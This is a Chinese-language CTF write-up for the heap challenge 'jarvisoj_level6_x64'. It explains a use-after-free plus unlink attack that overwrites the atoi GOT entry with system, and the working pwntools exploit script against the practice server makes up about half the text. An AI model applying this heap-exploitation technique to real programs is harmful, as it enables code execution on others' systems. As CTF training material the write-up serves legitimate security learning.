jarvisoj_level6_x64
查看保护
这一类保护的堆题基本上就是申请到堆控制的地址,改got表
进ida直接奔delete这里去了,一枚uaf
第二个漏洞在这里edit可以申请size
攻击思路:这一题可以看到堆的size和是否释放都放在了一个地方,看了一下保护就可以知道大概的思路了。申请到管理堆的地方,然后填充入got表输出libc,改got为system。
注意:这里申请的是unstroted bin大小的堆块!!!
1.首先肯定是先要泄露libc,这一题可以使用unlink来解决,一般这样的保护基本都是unlink attack,iofile_attack或是写入shellcode。(题外话,这题也可以使用io attack来解决,因为申请大小就是unstrotedbin的大小
2.申请三个chunk,一个隔一个释放,为什么?肯定是防止合并呀。
3.这样子的话就可以看到
把前一部分给填满,再输出的时候就可以拿到heap的地址。
4.通过heap计算出管理堆的地方
5.伪造chunk,实现unlink attack。不会伪造堆块?可以看看笔者学习unlink计录z1r0’s blog
6.unlink attack之后主可以控制到堆管理的地方了。
7.改写堆管理的地方,使其堆块为got表这里
8.show出Libc地址
9.改got为one_gadget或者改atoi_got为system,这里笔者是第二种。
10.输入/bin/sh来getshell
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 29913)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
def add(size, content):
r.sendlineafter('Your choice:','2')
r.sendlineafter('Length of new note: ',str(size))
r.sendafter('Enter your note:',content)
def delete(index):
r.sendlineafter('Your choice: ','4')
r.sendlineafter('Note number: ',str(index))
def show():
r.sendlineafter('Your choice: ','1')
def edit(index, size, content):
r.sendlineafter('Your choice: ','3')
r.sendlineafter('Note number: ',str(index))
r.sendlineafter('Length of note: ',str(size))
r.sendafter('Enter your note: ',content)
heap_list_addr = 0x6020A8
add(0x80, 'a' * 0x80) #0
add(0x80, 'b' * 0x80) #1
add(0x80, 'c' * 0x80) #2
add(0x10, 'd' * 0x10) #5
delete(0)
delete(2)
add(8, 'a' * 0x8) #2
show()
r.recvuntil('a' * 8)
heap_addr = u64(r.recv(4).strip().ljust(8, b'\x00')) - 0x1940 + 0x30
success('heap_addr = ' + hex(heap_addr))
delete(0)
delete(1)
delete(3)
fd = p64(heap_addr - 0x18)
bk = p64(heap_addr - 0x10)
p1 = p64(0) + p64(0x110) + fd + bk
add(len(p1), p1)
p2 = b'a' * 0x80 + p64(0x110) + p64(0x90) + b'A' * 0x80 + p64(0) + p64(0x91) + b'a' * 0x80
add(len(p2), p2)
delete(2)
p3 = b'a' * 8 + p64(1) + p64(8) + p64(elf.got['atoi'])
edit(0, len(p3), p3)
show()
atoi_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
success('atoi_addr = ' + hex(atoi_addr))
libc = ELF('./libc-2.23.so')
libc_base = atoi_addr - libc.sym['atoi']
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
one_gadget = one[1] + libc_base
system_addr = libc_base + libc.sym['system']
p4 = p64(system_addr)
edit(0, len(p4), p4)
r.recvuntil('Your choice: ')
r.sendline('/bin/sh')
r.interactive()